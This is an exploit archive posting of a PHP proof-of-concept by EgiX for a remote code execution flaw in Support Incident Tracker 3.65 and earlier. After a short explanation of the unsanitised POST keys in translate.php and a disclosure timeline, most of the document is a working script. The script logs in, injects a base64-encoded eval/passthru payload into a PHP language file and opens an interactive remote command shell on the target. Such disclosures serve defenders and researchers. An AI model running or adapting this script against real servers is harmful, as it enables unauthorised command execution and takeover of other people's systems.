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Support Incident Tracker 3.65 Remote Code Execution

Support Incident Tracker 3.65 Remote Code Execution
Posted Nov 20, 2011
Authored by EgiX

Support Incident Tracker versions 3.65 and below remote code execution exploit that leverages translate.php.

tags | exploit, remote, php, code execution
MD5 | 90b242926a56d02263ac1207b2e9b409

Support Incident Tracker 3.65 Remote Code Execution

Change Mirror Download
<?php

/*
------------------------------------------------------------------------------
Support Incident Tracker <= 3.65 (translate.php) Remote Code Execution Exploit
------------------------------------------------------------------------------

author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://sitracker.org/
affected versions....: from 3.45 to 3.65

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /translate.php

234. foreach (array_keys($_POST) as $key)
235. {
236. if (!empty($_POST[$key]) AND substr($key, 0, 3) == "str")
237. {
238. if ($lastchar!='' AND substr($key, 3, 1) != $lastchar) $i18nfile .= "\n";
239. $i18nfile .= "\${$key} = '".addslashes($_POST[$key])."';\n";
240. $lastchar = substr($key, 3, 1);
241. $translatedcount++;
242. }
243. }

Input passed via keys of $_POST array isn't properly sanitized before being stored into $i18nfile variable
at line 239, that variable will be the contents of a language file stored into 'i18n' directory with a php
extension. This could allow authenticated users to inject and execute arbitrary PHP code. Furthermore,
access directly to /translate.php?mode=save will reveal the full installation path of the application.

[-] Disclosure timeline:

[13/11/2011] - Vulnerability discovered
[13/11/2011] - Issue reported to http://bugs.sitracker.org/view.php?id=1737
[13/11/2011] - Vendor replied that this issue is fixed in the current SVN trunk
[19/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);
return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------------------+";
print "\n| Support Incident Tracker <= 3.65 Remote Code Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / user pass";
print "\nExample....: php $argv[0] localhost /sit/ user pass\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "username={$argv[3]}&password={$argv[4]}";
$packet = "POST {$path}login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: SiTsessionID=foo\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/main.php/", $response)) die("\n[-] Login failed!\n");
if (!preg_match("/Set-Cookie: ([^;]*);/", $response, $sid)) die("\n[-] Session ID not found!\n");

$phpcode = base64_encode('passthru(base64_decode($_SERVER[HTTP_CMD]));print("___");');
$payload = "mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1";

$packet = "POST {$path}translate.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}i18n/sh.inc.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nsit-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

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